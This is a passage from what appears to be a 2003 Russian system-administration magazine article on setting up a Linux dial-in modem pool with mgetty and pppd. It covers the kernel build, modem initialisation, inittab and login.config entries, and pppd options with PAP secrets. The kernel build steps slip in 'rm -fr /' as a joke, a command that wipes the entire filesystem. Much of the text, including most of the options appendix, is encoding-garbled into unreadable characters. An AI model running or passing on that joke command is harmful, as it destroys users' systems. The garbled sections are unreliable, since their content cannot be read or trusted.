Следовательно, максимальная скорость соединения будет 33.6k. Но этого

№2(3), февраль 2003

вполне достаточно, если учесть, что не надо платить за пользование модемным пулом. Хочу заметить, что у меня сервер имеет 18 модемов. Такое количество портов обеспечили две мультипортовки от Digiboard.

Полусухая теория Назвать окончательно настроенный сервер полноценным модемным пулом не поворачивается язык. Но все же. Для начала нам понадобится компьютер, подойдет практически любой – тут уж на ваш выбор. Операционная система Linux. Я использую дистрибутив Slackware (http:// www.slackware.com), этот дистрибутив действительно достоин звания Linux. Приятная загрузка в стиле BSD, а самое главное – все можно подогнать напильником (а то и рашпилем, админы поймут). Описанная ниже настройка при понимании происходящего будет работать и на остальных дистрибутивах Linux и, думаю, на всех остальных системах, куда портирован pppd (FreeBSD и т. д.). Модем посоветую тот, который хорошо держит линию. Поймите меня правильно, конкретизировать здесь сложно. Разве что только не winmodem. Куда цеплять? На Comпорт. То, что у меня стоят мультипортовки, а у вас нет – особого значения не имеет, т.к. в системе это всего лишь «имена файлов». Другое дело, если вам надо выбрать мультипортовку. Тут критерий тоже не особо сложен – чтоб в Linux (или что у вас там) поддерживалась. Мой выбор Digiboаrd. О его настройках могу сказать – все пучком. Есть файл интерактивной настройки, в котором все настраивается и прописывается. В результате подгружаются необходимые модули и появляются новые девайсы в /dev. Я же сказал – все пучком. Имеем: компьютер, ОС и подключенный модем. Что дальше? А дальше – программная часть. В теории это выглядит так: работает машина, висит включенный модем. Один программный пакет инициализирует модем и обрабатывает входящие звонки. Решает, что «отдать» абоненту: консоль или Интернет. Консоль отдается стандартными средствами, а Интернет с помощью второго ПО. Паке-

ты – как вы, наверное, уже догадались – mgetty и pppd соответственно.

Настройка Как Linux начинается с ядра, так и настройка его начинается с ядра. Думаю, что подробное описание настройки ядра выходит за рамки данной статьи, так что отмечу в общих чертах. Убедитесь, что присутствует поддержка последовательных портов (обычно установлена, да и если вы используете мультипортовку, которую понимает ядро без дополнительных модулей, естественно включите ее поддержку), поддержка консоли на последовательных портах, pppd лучше не включать в ядро, а поддержать модулем (потом не забудьте подгрузить необходимые модули). Сохраняем изменения, и собираем: 'make dep && make clean bzImage' 'make modules && make modules_install' 'make bzlilo' - íó èëè ÷òî ó âàñ òàì 'rm -fr /' - øóòêà 'reboot'

Идем дальше... Самое время настроить мультипортовку. Если она не поддерживается в стабильном последнем ядре Linux, а производитель заявил что карточка “Linux compatible” – найдите на homesite производителя драйвера... Тут я вам не в силах помочь. Главное – определите имена устройств в системе, куда подключен модем. Добрались до mgetty. Изначально этот пакет написан для подключения факса, но используется так же для dialin-серверов, особенно с появлением возможности AutoPPP (автоматического определения ppp-соединения). if (ïàêåò óæå óñòàíîâëåí) { Óáåäèòåñü, ÷òî îí ñîáðàí ñ ïàðàìåòðîì -DAUTO_PPP. } else { Ñêà÷èâàåì ïîñëåäíþþ âåðñèþ mgetty ñ äîìàøíåãî ñàéòà (http:// alpha.greenie.net/mgetty/), ðàñïàêîâûâàåì è ñîáèðàåì ñ ïàðàìåòðîì -DAUTO_PPP. Ïðîöåññ ñáîðêè õîðîøî îïèñàí â ôàéëå README.1st, íî íåò íè÷åãî ïëîõîãî îïèñàòü íåîáõîäèìûå íàì äåéñòâèÿ çäåñü. Âî-ïåðâûõ, íàäî ñêîïèðîâàòü ôàéë 'policy.h-dist' â 'policy.h'. Âî-âòîðûõ, îòðåäàêòèðîâàòü ôàéë 'Makefile', äîáàâèâ â íåãî çàâåòíûé ïàðàìåòð. Ôëàã çàäàåòñÿ êîìïèëÿòîðó â 110-é ñòðîêå. Îòêðûâàåì ôàéë â ðåäàêòîðå, äëÿ êîãî â ÷åì óäîáíåå, ÿ èñïîëüçóþ joe, ñïóñêà-

27


администрирование åìñÿ íà íóæíóþ ñòðîêó è äîáàâëÿåì: -DAUTOPPP ïîëó÷àåòñÿ: 'CFLAGS=-O2 -Wall -pipe -DAUTO_PPP' Âû ìîæåòå äîáàâèòü åùå ÷òî-íèáóäü ïî âêóñó, íî ýòî îñíîâíîå. Êñòàòè, â çàâèñèìîñòè îò OS ñòðîêà ìîæåò âèäîèçìåíèòüñÿ(ñì. êîììåíòàðèè). Òåïåðü ñîáèðàåì è, åñëè âñå â ïîðÿäêå, èíñòàëëèðóåì: 'make && make install' }

Установим pppd: if (ïàêåò óæå óñòàíîâëåí) { Ïðè íàñòðîéêå ñâîåãî ñåðâåðà ÿ èñïîëüçîâàë âåðñèþ, ïîñòàâëÿåìóþ â êîìïëåêòå c äèñòðèáóòèâîì. Òàê ÷òî åñëè ó âàñ óæå óñòàíîâëåí ýòîò ïàêåò, óáåäèòåñü ðàçâå ÷òî â åãî «ñâåæåñòè». } else { Äîìàøíèé ñàéò pppd ðàñïîëàãàåòñÿ ïî àäðåñó (http://www.samba.org/ppp/). Çàáèðàåì ïîñëåäíþþ âåðñèþ – pppd-2.4.1 (íà ìîìåíò íàïèñàíèÿ ñòàòüè). Ðàñïàêîâûâàåì. Â ìîåì äèñòðèáóòèâå ïàêåò ñîáðàí ñëåäóþùèì îáðàçîì. Äîáàâëåíà ïîääåðæêà callback'a 'zcat ppp-cbcp.diff.gz | patch -p0 —backup —suffix=.orig' 'zcat ppp.time.diff.gz | patch -p1 —backup —suffix=.orig' './configure' 'make && make install' }

Понятно, что инициализировать модем будет mgetty. Как это организовать – вопрос творческий. Можно каждый раз вводить... Точнее, можно настроить mgetty так, чтоб он инициализировал модем, вводя длинную строку инициализации. Я выбрал несколько иной путь. Зашел в модем терминалом, ввел необходимую мне строку инициализации и записал ее в память, которая энергонезависима, следовательно, не боится перебоя питания. Терминал любой, хоть Hyper Terminal (win32), minicom (linux). Строка инициализации на ваш вкус, по адресу http://www.usrsupport.ru/, если я не ошибаюсь, вы найдете все вам необходимое об инициализации. Я находил даже записи трелей модемов при соединении по разным протоколам!!! (хотя это к делу не относится). Как выглядит строка инициализации, зависит от марки вашего модема. В своих «Курьерах» я вводил: --- ÂÂÎÄ --ATZ OK AT&F1 OK ATC10=17 OK AT&F1 OK AT&P1 OK AT&W OK --- EOF ---

Главное, определитесь, как хоти-

28

те настроить модем, и ищите нужные вам регистры. Кстати, очень сильно может помочь документация, которая идет в комплекте с модемом. Основные критерии можно свести к вопросу: «С какого звонка снимать трубку?». Дерзайте, только после настройки не забудьте записать изменения регистров с помощью команды “AT&W”. Впоследствии это нам пригодится. После этого инициализировать модем можно по “ATZ”. Эта команда «вытащит» из памяти то, что вы записали по “AT&W”. Понятие о памяти дано в общих чертах. К этому моменту у вас уже должен быть настроен модем. Допустим, он должен брать трубку со второго звонка (S0=2). Проверьте это. Для убедительности выключите и включите модем, зайдите на него терминалом, скажите “ATZ”, затем организуйте звонок на модем с другого номера. Должен поднять после второго гудка. Если нет – добейтесь желаемого результата, так как от этого зависит дальнейшая настройка сервера. Имея настроенный модем, можно браться за настройку mgetty. Ищем, куда же он установлен... Находим конфиг урационный файл mgetty.config (конечно, если вы переопределили имя файла в policy.h при сборке – ищем указанное вами имя). В mgetty у меня всего две строчки: --- mgetty.config --data-only y init-chat "" AT OK ATZ OK --- mgetty.config ---

Первая строка определяет, что делать с входящими ppp-соединениями. Вторая – как раз и есть аварийная консоль. Вызвать ее можно, установив соответственную галочку (в win32) о выводе терминала после соединения. Что мы и будем использовать для тестирования. Избавиться от этой консоли можно, указав вместо “/bin/login” что-нибудь ложное – “/bin/fasle” или “/dev/null”. Как запускать mgetty? Те, кто использует единственную телефонную линию офиса, могут установить поднятие трубки с 5-6 звонка (будьте осторожны – этому есть предел) или поднимать mgetty в нерабочее время с помощью crond. Так же надо учесть, что после разрыва соединения процесс mgetty должен быть поднят заново. У меня сервер выделен отдельно, так и линии выделены спецом под dailin, следовательно, все работает круглосуточно. Получается, и mgetty надо держать поднятым круглосуточно. Для этого удобнее всего использовать initd. Он сам поднимет модемы при загрузке сервера и после разрыва соединения. Файл конфиг урации /etc/inittab. Ниже приведены строки, относящиеся к модемам. Думаю, лучше всего их прописать после консолей. --- inittab --D005:345:respawn:/usr/local/sbin/ mgetty -s 57600 /dev/ttyD005 ttyD005 D006:345:respawn:/usr/local/sbin/ mgetty -s 115200 /dev/ttyD006 ttyD006 --- inittab ---

Формат строк прост: id:runlevels:action:process

Хотя в этом файле так же можно задать скорость соединения (насколько я понял, лучше ставить как можно больше, 57 600 или 115 200, поскольку это скорость соединения модема с машиной, а не с пользователем), уровень отладки, но мне удобнее такие параметры задать в /etc/inittab (см. ниже). Кстати, вспомните, что я говорил о “ATZ”. Следующий необходимый нам файл – login.config. --- login.config --/AutoPPP/ pppd sbin/pppd file /etc/ppp/options * login @ --- login.config ---

/usr/ /bin/

Подробней – в man inittab. Первая строка относится к модему «Курьер», вторая – к стоечным «Зюксилям», у них разные скорости. В параметрах mgetty можно указать уровень отладки. Например, чтобы писались лог-файлы по каждому модему в отдельный файл, что удобно при отладке, добавьте «-x 5». Да, и учтите, что у меня на борту есть мультипортовки. Т.е. если у вас нет мультипортовки и модем висит на Com2, скорее всего, строка будет выглядеть примерно так: 's1:12345:respawn:/usr/local/sbin/ mgetty -s 57600 /dev/ttyS1 ttyS1'


администрирование Тестирование Один из приятных моментов статьи. Если вы сделали все правильно, перезагрузите initd (“init q”). Должны увидеть, как поднимутся модемы. Поскольку pppd мы еще не настраивали, тестировать можно только аварийную консоль. Думаю, вы понимаете, что если тестировать консоль, то в “/bin/login” указан “/bin/login” (или типа того), а галочка о выводе терминала после установки соединения установлена. Да, чуть не забыл. Пользователи, которые мог ут входить через аварийный вход, должны быть прописаны в системе (/etc/passwd), а пользователи, использующие pppd (Интернет), должны быть прописаны в соответствующих файлах настройки pppd (при pap-авторизации /etc/ ppp/pap-secrets, при chap – /etc/ ppp/chap-secrets). В виндах настройте модемное соединение. Звоним... модем берет трубу после нужного гудка, устанавливается соединение и вываливается окно терминала. Введя в терминале ligin&password, должны увидеть любимый shell. Если что-то не получилось, не паникуйте. Посмотрите лог-файлы, уверен, найдете все ответы. Кстати, в будущем, имея настроенный pppd, мы так же будем проверять и его работу с помощью этого соединения. После того как получили shell, можно запустить “pppd”, затем клавишу “F7” для закрытия терминала и продолжения работы, но уже в Интернете (pppd должен быть настроен).

Настройка pppd Это второй творческий вопрос. Есть масса вариантов, настройки. Так, например, каждый пользователь может иметь свой IP-адрес или каждый модем может иметь свой IP. Можно организовать определитель номера (вопрос к mgetty), используя его, настроить callback. Авторизация PAP, CHAP или скрипты. Опишу, как сделал сам и постараюсь затронуть другие варианты. Обратите внимание на одну важную деталь – pppd должен иметь возможность запускаться от пользователя. Если вам не удастся решить это настройкой са-

№2(3), февраль 2003

мого демона, установите привилегию на запуск от владельца файла (uid). Биллинг пользователей модемного пула сделан на основе выходных данных самого pppd, поэтому мне непринципиально, чтобы каждый пользователь имел свой IP-адрес (=> каждый модем имеет свой IP). Конфигурационный файл pppd – /etc/ppp/options. Листинг файла легче смотреть с помощью “egrep -v”#|^ *$’ /etc/ppp/options’, так печатаются только незакомментированные строки: --- /etc/ppp/options --192.168.1.1: ms-dns <primary dns server ip> ms-dns <scondary dns server ip> ms-wins <primary wins server ip> ms-wins <secondary wins server ip> asyncmap 0 auth crtscts lock modem -detach +pap -chap debug usehostname proxyarp lcp-echo-interval 30 lcp-echo-failure 4 --- /etc/ppp/options ---

Первая строка – это IP-адрес сервера, на котором висит модем, и клиента, который дозвонился на сервер. Формат строки: <server ip addr>:<client ip addr>

как видите, я задаю IP-адрес только для сервера. Для клиентов, точнее, для модемов IP-адреса заданы в отдельных файлах, имена которых соответс твуют именам устройств, к которым подключены модемы. У меня так: --- ls -1 --options options.ttyD000 options.ttyD001 options.ttyD002 ... --- ls -1 ---

Если у вас нет мультипортовки, а модемов, допустим, только два, на первом и втором com-портах, файлы будут: îáðàçîì: --- cat options.ttyS0 --:192.168.1.2 – äâîåòî÷èå îáÿçàòåëüíî! --- cat options.ttyS0 ---

Кстати, если у вас всего один модем, то никто не запретит вам указать IP-адрес для него прямо в /etc/ ppp/options. Продолжая тему выдачи IP-адреса, замечу, что если вы желаете выдавать каждому пользователю по своему IP-адресу, его (IP) нужно указать в четвертом столбце файла авторизации /etc/ppp/pap-secrets или /etc/ppp/chap-secrets. Строка “auth” как раз и требует, чтоб пользователь сначала ввел логин и пароль для регистрации, только потом pppd позволит войти в сеть. Строки “+pap” и “-chap” означают использовать только pap-авторизацию. Листинг pap-secrets: --- cat pap-secrets --# Secrets for authentication using PAP #client server secret ip-addr test * passfortest * test1 * passfortest1 * --- cat pap-secrets ---

Если в качестве пароля указать “«»” (две двойные кавычки), pppd постарается найти пароль в системной базе данных паролей. Проще говоря – в /etc/shadow. Полный перевод комментариев файла /etc/ppp/options смотрите в приложении. Большое спасибо автору перевода, к сожалению, не знаю его имени. На этом и заканчивается вся настройка модемного пула. Приступайте к тестированию, ищите ошибки в логах. Возникшие вопросы вы можете задать в форуме домашнего сайта журнала, в разделе «Вопросы читателей к авторам» (URL: ht tp:// www.samag.ru/cgi-bin/yabb/ YaBB.pl?board=answer_cat) + (лучше пишите на форум, чем на почту). Незатронутой осталась тема подсчета статистики пользователей. Могу натолкнуть на мысль: man pppd (раздел SCRIPTS). Будет время – опишу пример построения биллинга, основанный на выполнении этих скриптов. Лучше, конечно пропатчить сам pppd, но все же... Как говорит один мой знакомый системный администратор, читайте доки – они рулез (с). Да прибудет с вами сила. Далее идет описание файла /etc/ ppp/options.

29


администрирование ПРИЛОЖЕНИЕ: перевод файла /etc/ppp/options # Èñïîëüçîâàòü óêàçàííóþ êîìàíäó èëè # ïðîãðàììó äëÿ íàñòðîéêè ëèíèè. Ýòîò # îáû÷íî èñïîëüçóåò ïðîãðàììó "chat", # ÷òîáû ïîçâîíèòü ìîäåìîì è çàïóñòèòü # óäàëåííóþ ppp-ñåññèþ. #connect "echo # âàì íóæíî óñòàíîâèòü êîìàíäó connect." # Çàïóñòèòü óêàçàííóþ êîìàíäó èëè # ïðîãðàììó, êîãäà pppd çàâåðøèë ñâÿçü. # Ýòîò ñêðèïò ìîã áû, ê ïðèìåðó, ââåñòè # êîìàíäû â ìîäåì, ÷òîáû çàâåðøèòü # ñâÿçü, åñëè ñèãíàëû àïïàðòíîãî # óïðàâëåíèÿ ìîäåìîì íåäîñòóïíû. #disconnect "chat — \d+++\d\c OK ath0 OK" # async êàðòà ñèìâîëîâ — 32-bit hex; # êàæäûé áèò - ñèìâîë, êîòîðûé íàäî # ïðåäñòàâèòü â âèäå escape# ïîñëåäîâàòåëüíîñòè, ÷òîáû pppd ìîã # åãî ïðèíÿòü. # 0x00000001 - ýòî ìàñêà äëÿ '\x01', # à 0x80000000 - ìàñêà äëÿ '\x1f'. #asyncmap 0 # Òðåáîâàíèå äëÿ óäàëåííîé ñòîðîíû # íàçâàòü ñåáÿ, ïåðåä òåì êàê íà÷íåòñÿ # îáìåí ïàêåòàìè. #auth # Èñïîëüçîâàòü àïïàðàòíîå óïðàâëåíèå # ïîòîêîì äàííûõ (íàïð., RTS/CTS), # ÷òîáû óïðàâëÿòü ïîòîêîì äàííûõ íà # ïîñëåäîâàòåëüíîì ïîðòó. #crtscts # Èñïîëüçîâàòü ïðîãðàììíîå óïðàâëåíèå # ïîòîêîì äàííûõ (íàïð., XON/XOFF), # ÷òîáû óïðàâëÿòü ïîòîêîì äàííûõ íà # ïîñëåäîâàòåëüíîì ïîðòó. #xonxoff # Äîáàâèòü ìàðøðóò ïî óìîë÷àíèþ # â ñèñòåìíóþ òàáëèöó ìàðøðóòèçàöèè, # èñïîëüçóÿ óäàëåííóþ ñòîðîíó êàê øëþç, # êîãäà äîãîâîðåííîñòü IPCP óñïåøíî # äîñòèãíóòà. Ýòà çàïèñü óäàëÿåòñÿ # ïðè çàâåðøåíèè ñâÿçè. #defaultroute # Îïðåäåëÿåò, ÷òî íåêîòîðûå ñèìâîëû # äîëæíû áûòü çà'escape'ëåíû ïðè ïå# ðåäà÷å (íåçàâèñèìî îò òîãî, ïðîñèëà # ëè óäàëåííàÿ ñòîðîíà èõ escape'èòü # ñâîåé async êàðòîé óïðàâëÿþùèõ # ñèìâîëîâ). Ñèìâîëû, êîòîðûå íàäî # escape'èòü, óêàçûâàþòñÿ â âèäå ñïèñêà # øåñòíàäöàòåðè÷íûõ ÷èñåë, ðàçäåëåí# íûõ çàïÿòûìè. Çàìåòüòå, ÷òî äëÿ îï# öèè escape ìîãóò áûòü óêàçàíû ïî÷òè # âñå ñèìâîëû, â îòëè÷èå îò îïöèè # asyncmap, êîòîðàÿ ïîçâîëÿåò # óêàçûâàòü òîëüêî óïðàâëÿþùèå # ñèìâîëû. Ñèìâîëû, êîòîðûå íåëüçÿ # escape'èòü - ýòî 0x20 - 0x3f # èëè 0x5e. #escape 11,13,ff # Íå èñïîëüçîâàòü ëèíèè óïðàâëåíèÿ # ìîäåìîì. #local # Óêàçûâàåò, ÷òî pppd äîëæåí # èñïîëüçîâàòü lock â ñòèëå UUCP íà # ïîñëåäîâàòåëüíîå óñòðîéñòâî, ÷òîáû # èñêëþ÷èòü îäíîâðåìåííûé äîñòóï ê # óñòðîéñòâó. #lock # Èñïîëüçîâàòü ëèíèè óïðàâëåíèÿ # ìîäåìîì. Íà Ultrix ýòà îïöèÿ

30

# îçíà÷àåò óïðàâëåíèå ïîòîêîì äàííûõ, # êàê îïöèÿ crtscts. (Ýòà îïöèÿ íå # ïîëíîñòüþ âûïîëíÿåòñÿ). #modem # Óñòàíîâèòü çíà÷åíèå MRU [Maximum # Receive Unit] â <n> ïðè äîãîâîðåí# íîñòè. # pppd çàïðîñèò óäàëåííóþ ñòîðîíó îò# ïðàâëÿòü ïàêåòû íå áîëåå ÷åì ïî # <n> áàéò. # Ìèíèìàëüíîå çíà÷åíèå MRU – 128. # Çíà÷åíèå MRU ïî óìîë÷àíèþ – 1500. # Äëÿ ìåäëåííûõ ëèíêîâ ðåêîìåíäóåòñÿ # 296 (40 áàéò äëÿ çàãîëîâêà TCP/IP + # 256 áàéò äàííûõ). #mru 542 # Óñòàíîâèòü ñåòåâóþ ìàñêó èíòåðôåéñà # â <n>, 32-áèòíàÿ ñåòåâàÿ ìàñêà â # "äåñÿòè÷íî-òî÷å÷íîé" íîòàöèè (íàïð. # 255.255.255.0). #netmask 255.255.255.0 # Çàïðåòèòü ïîâåäåíèå ïî óìîë÷àíèþ, # êîãäà íå óêàçàí ëîêàëüíûé IP-àäðåñ, # êîòîðîå îïðåäåëÿåò (åñëè âîçìîæíî) # ëîêàëüíûé IP-àäðåñ ïî èìåíè õîñòà. # Ñ ýòîé îïöèåé óäàëåííàÿ ñòîðîíà # äîëæíà áóäåò îáåñïå÷èòü ëîêàëüíûé # IP-àäðåñ â òå÷åíèå IPCP-ïåðåãîâîðîâ # (åñëè îíà íå îïðåäåëåíà ÿâíî â # êîìàíäíîé ñòðîêå èëè â ôàéëå # options). #noipdefault # Ðàçðåøèòü îïöèþ "passive" â LCP. # Ñ ýòîé îïöèåé pppd áóäåò ïûòàòüñÿ # èíèöèèðîâàòü ñîåäèíåíèå; åñëè îòâåò # îò äðóãîé ñòîðîíû íå ïðèíÿò, òî # pppd áóäåò ïàññèâíî îæèäàòü # ïðàâèëüíûé LCP-ïàêåò îò äðóãîé # ñòîðîíû (âìåñòî âûõîäà, êàê äåëàåòñÿ # áåç ýòîé îïöèè). #passive # Ñ ýòîé îïöèåé pppd íå áóäåò # ïåðåäàâàòü LCP-ïàêåòû äëÿ èíèöèàöèè # ñîåäèíåíèÿ, ïîêà íå ïðèäåò # ïðàâèëüíûé LCP-ïàêåò îò äðóãîé # ñòîðîíû (êàê îïöèÿ "passive" # â ñòàðûõ âåðñèÿõ pppd). #silent # Íå òðåáîâàòü èëè íå ðàçðåøàòü # äîãîâàðèâàòüñÿ î ëþáûõ îïöèÿõ LCP # è IPCP (èñïîëüçîâàòü çíà÷åíèÿ # ïî óìîë÷àíèþ). #-all # Çàïðåòèòü äîãîâàðèâàòüñÿ î ñæàòèè # àäðåñà/óïðàâëåíèÿ (èñïîëüçóåòñÿ # ïî óìîë÷àíèþ, ò.å. àäðåñíûå/ # óïðàâëÿþùèå ïîëÿ çàïðåùåíû). #-ac # Çàïðåòèòü äîãîâàðèâàòüñÿ î asyncmap # (èñïîëüçóåòñÿ asyncmap ïî óìîë÷àíèþ, # ò.å. escape âñå óïðàâëÿþùèå # ñèìâîëû). #-am # Íå ïåðåõîäèòü â ôîíîâûé ðåæèì # (èíà÷å pppd áóäåò äåëàòü òàê, åñëè # ïîñëåäîâàòåëüíîå óñòðîéñòâî # óêàçàíî). #-detach # Çàïðåòèòü äîãîâàðèâàòüñÿ îá IP-àä# ðåñå (Ñ ýòîé îïöèåé óäàëåííûé IP# àäðåñ äîëæåí óêàçûâàòüñÿ îïöèåé êî# ìàíäíîé ñòðîêè èëè â ôàéëå options). #-ip # # # #

Çàïðåòèòü äîãîâàðèâàòüñÿ î ìàãè÷åñêèõ ÷èñëàõ. Ñ ýòîé îïöèåé pppd íå ìîæåò îïðåäåëèòü looped-back ëèíèþ.

#-mn # Çàïðåòèòü äîãîâàðèâàòüñÿ î MRU # [Maximum Receive Unit] # (èñïîëüçóåòñÿ ïî óìîë÷àíèþ, # ò.å. 1500). #-mru # Çàïðåòèòü äîãîâàðèâàòüñÿ î ñæàòèè # ïîëåé ïðîòîêîëà (èñïîëüçóåòñÿ ïî # óìîë÷àíèþ, ò.å. ñæàòèå ïîëåé # ïðîòîêîëà çàïðåùåíî). #-pc # Òðåáóåò, ÷òîáû äðóãàÿ ñòîðîíà # íàçâàëà ñåáÿ, èñïîëüçóÿ PAP. # Ýòî òðåáóåò ÄÂÓÍÀÏÐÀÂËÅÍÍÎÉ # àóòåíòèôèêàöèè - ÍÅ èñïîëüçóéòå ýòó # îïöèþ äëÿ ñòàíäàðòíîé àóòåíòèôèêàöèè # PAP íà ISP, òàê êàê ïðè ýòîì # òðåáóåòñÿ, ÷òîáû ìàøèíà ISP # àóòåíòèôèöèðîâàëà ñåáÿ íà âàøåé # ìàøèíå (à îíà ýòî íå ñìîæåò # ñäåëàòü). #+pap # Íå ñîãëàøàòüñÿ ñ àóòåíòèôèêàöèåé PAP. #-pap # Òðåáóåò, ÷òîáû äðóãàÿ ñòîðîíà # íàçâàëà ñåáÿ, èñïîëüçóÿ CHAP # [Cryptographic Handshake # Authentication Protocol]. # Ýòî òðåáóåò ÄÂÓÍÀÏÐÀÂËÅÍÍÎÉ # àóòåíòèôèêàöèè - ÍÅ èñïîëüçóéòå ýòó # îïöèþ äëÿ ñòàíäàðòíîé àóòåíòèôèêàöèè # CHAP íà ISP, òàê êàê ïðè ýòîì # òðåáóåòñÿ, ÷òîáû ìàøèíà ISP # àóòåíòèôèöèðîâàëà ñåáÿ íà âàøåé # ìàøèíå (à îíà ýòî íå ñìîæåò ñäåëàòü) #+chap # Íå ñîãëàøàòüñÿ ñ àóòåíòèôèêàöèåé CHAP. #-chap # Çàïðåòèòü îáñóæäåíèå ñæàòèÿ # IP-çàãîëîâêîâ â ñòèëå Van Jacobson # (èñïîëüçóåòñÿ ïî óìîë÷àíèþ, ò.å. # ñæàòèÿ íåò) #-vj # Óâåëè÷èòü óðîâåíü îòëàäêè (òî æå # ÷òî -d). Åñëè ýòà îïöèÿ åñòü, pppd # áóäåò çàïèñûâàòü â æóðíàë âñå # ïðèáûâøèå è îòïðàâëåííûå ïàêåòû â # ÷èòàáåëüíîé ôîðìå. Ïàêåòû # ðåãèñòðèðóþòñÿ â ëîã-ôàéëàõ ÷åðåç # syslog ñî ñðåäñòâîì daemon è óðîâíåì # îòëàäêè. Ýòà èíôîðìàöèÿ ìîæåò áûòü # ïåðåíàïðàâëåíà â ôàéë # ñîîòâåòñòâóþùåé óñòàíîâêîé # /etc/syslog.conf # (ñì. syslog.conf(5)). # (Åñëè pppd ñêîìïèëèðîâàí ñ # ðàçðåøåííîé extra îòëàäêîé, îí áóäåò # çàïèñûâàòü ñîîáùåíèÿ â æóðíàë, # èñïîëüçóÿ ñðåäñòâî local2 âìåñòî # daemon). #debug # Äîáàâèòü èìÿ äîìåíà <d> ê ëîêàëüíîìó # èìåíè õîñòà äëÿ öåëåé # àóòåíòèôèêàöèè. Íàïðèìåð, åñëè # gethostname() âîçâðàùàåò èìÿ # porsche, íî FQDN – porsche.Quotron.COM, # òî âû äîëæíû óñòàíîâèòü ýòó îïöèþ, # ÷òîáû èìÿ äîìåíà áûëî Quotron.COM. #domain <d> # # # # # # # # #

Ðàçðåøèòü îòëàäî÷íûé êîä â PPPäðàéâåðå íà óðîâíå ÿäðà. Àðãóìåíò n – ýòî ÷èñëî, êîìáèíàöèÿ ñëåäóþùèõ çíà÷åíèé: 1 – ðàçðåøèòü îáùèå îòëàäî÷íûå ñîîáùåíèÿ, 2 – çàïðîñèòü, íàäî ëè ïå÷àòàòü ñîäåðæèìîå ïðèíèìàåìûõ ïàêåòîâ è 4 – çàïðîñèòü, íàäî ëè ïå÷àòàòü ñîäåðæèìîå îòïðàâëÿåìûõ ïàêåòîâ.


администрирование #kdebug n # Óñòàíîâòü çíà÷åíèå MTU [Maximum # Transmit Unit] â <n>. Ïîêà äðóãàÿ # ñòîðîíà íå ïîïðîñèò ìåíüøåå çíà÷åíèå # ïðè äîãîâîðå î MRU, pppd áóäåò # òðåáîâàòü ó ñåòåâîãî êîäà ÿäðà # îòïðàâëÿòü ïàêåòû äàííûõ íå áîëåå # ÷åì ïî n áàéò ÷åðåç ñåòåâîé # èíòåðôåéñ PPP. #mtu <n> # Óñòàíîâèòü èìÿ ëîêàëüíîé ñèñòåìû # äëÿ àóòåíòèôèêàöèîííûõ öåëåé â <n>. # Âîçìîæíî, åå íàäî áóäåò óñòàíîâèòü # â âàøå èìÿ íà âàøåì ISP, åñëè # èñïîëüçóåòñÿ PAP/CHAP. #name <n> # Óñòàíîâèòü èìÿ ïîëüçîâàòåëÿ äëÿ # àóòåíòèôèêàöèè ýòîé ìàøèíû íà # äðóãîé ñòîðîíå èñïîëüçóÿ PAP, # â çíà÷åíèå <n>. ÍÅ èñïîëüçîâàòü, # åñëè âû èñïîëüçîâàëè îïöèþ 'name'! #user <n> # Çàñòàâèòü èñïîëüçîâàòü èìÿ õîñòà # êàê èìÿ ëîêàëüíîé ñèñòåìû äëÿ # àóòåíòèôèêàöèîííûõ öåëåé # (ïåðåêðûâàåò îïöèþ name). #usehostname # Óñòàíîâèòü èìÿ óäàëåííîé ñèñòåìû # äëÿ àóòåíòèôèêàöèîííûõ öåëåé â <n>. #remotename <n> # Äîáàâèòü çàïèñü äëÿ ýòîé ñèñòåìû â # òàáëèöó ARP [Address Resolution # Protocol] ñ IP-àäðåñîì óäàëåííîé # ñèñòåìû è Ethernet àäðåñîì ýòîé # ñèñòåìû. #proxyarp # Èñïîëüçîâàòü áàçó äàííûõ ïàðîëåé # äëÿ èäåíòèôèêàöèè óäàëåííîé ñòîðîíû, # èñïîëüçóÿ PAP. #login # # # # # #

Åñëè ýòà îïöèÿ íàçíà÷åíà, pppd áóäåò îòïðàâëÿòü êàäð LCP echo-request óäàëåííîé ñòîðîíå êàæäûå n ñåêóíä. Ïîä Linux, echo-request îòïðàâëÿåòñÿ, êîãäà ïàêåòû íå ïðèíèìàþòñÿ îò óäàëåííîé ñòîðîíû n ñåêóíä. Îáû÷íî

№2(3), февраль 2003

# óäàëåííàÿ ñòîðîíà äîëæíà îòâå÷àòü # íà echo-request îòïðàâêîé echo-reply. # Ýòà îïöèÿ ìîæåò áûòü èñïîëüçîâàíà ñ # îïöèåé lcp-echo-failure äëÿ # îïðåäåëåíèÿ ÷òî óäàëåííàÿ ñòîðîíà # áîëüøå íå ñîåäèíåíà. #lcp-echo-interval <n> # Åñëè ýòà îïöèÿ çàäàíà, pppd áóäåò # ñ÷èòàòü, ÷òî ñâÿçè ñ peer íåò, åñëè n # LCP echo-requests îòïðàâëåíû áåç # ïðèåìà ïðàâèëüíûõ LCP echo-reply. # Åñëè ýòî ñëó÷èëîñü, pppd çàâåðøèò # ñâÿçü. Èñïîëüçîâàíèå ýòîé îïöèè # òðåáóåò íåíóëåâîãî çíà÷åíèÿ äëÿ # ïàðàìåòðà lcp-echo-interval. # Ýòà îïöèÿ ìîæåò áûòü èñïîëüçîâàíà, # ÷òîáû ðàçðåøèòü pppd çàâåðøàòü ñâÿçü, # åñëè ôèçè÷åñêîå ñîåäèíåíèå îòñóòñòâóåò # (íàïð, ìîäåì áðîñèë òðóáêó) â # ñèòóàöèÿõ, êîãäà äîñòóïíû ëèíèè # óïðàâëåíèÿ ìîäåìîì. #lcp-echo-failure <n> # Óñòàíîâèòü èíòåðâàë ðåñòàðòà LCP # (ïàóçà âîçîáíîâëåíèÿ ïåðåäà÷è) â # <n> ñåêóíä (ïî óìîë÷àíèþ – 3). #lcp-restart <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî # ïåðåäà÷ LCP terminate-request â <n> # (ïî óìîë÷àíèþ – 3). #lcp-max-terminate <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî # ïåðåäà÷ LCP configure-request â <n> # (ïî óìîë÷àíèþ – 10). Íåêîòîðûå PPP# ñåðâåðà äîëãî ñòàðòóþò. Âàì ìîæåò # ïîíàäîáèòüñÿ óâåëè÷èòü ýòó âåëè÷èíó, # åñëè âû ïîëó÷àåòå îøèáêè 'serial # line looped back' è âû ÓÂÅÐÅÍÛ, # ÷òî êîððåêòíî ðåãèñòðèðóåòåñü è PPP # äîëæåí çàïóñêàòüñÿ íà ñåðâåðå. #lcp-max-configure <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî LCP # configure-NAKs, âîçâðàùåííûõ ïåðåä # íà÷àëîì îòïðàâêè âìåñòî configure# Rejects, â <n> (ïî óìîë÷àíèþ – 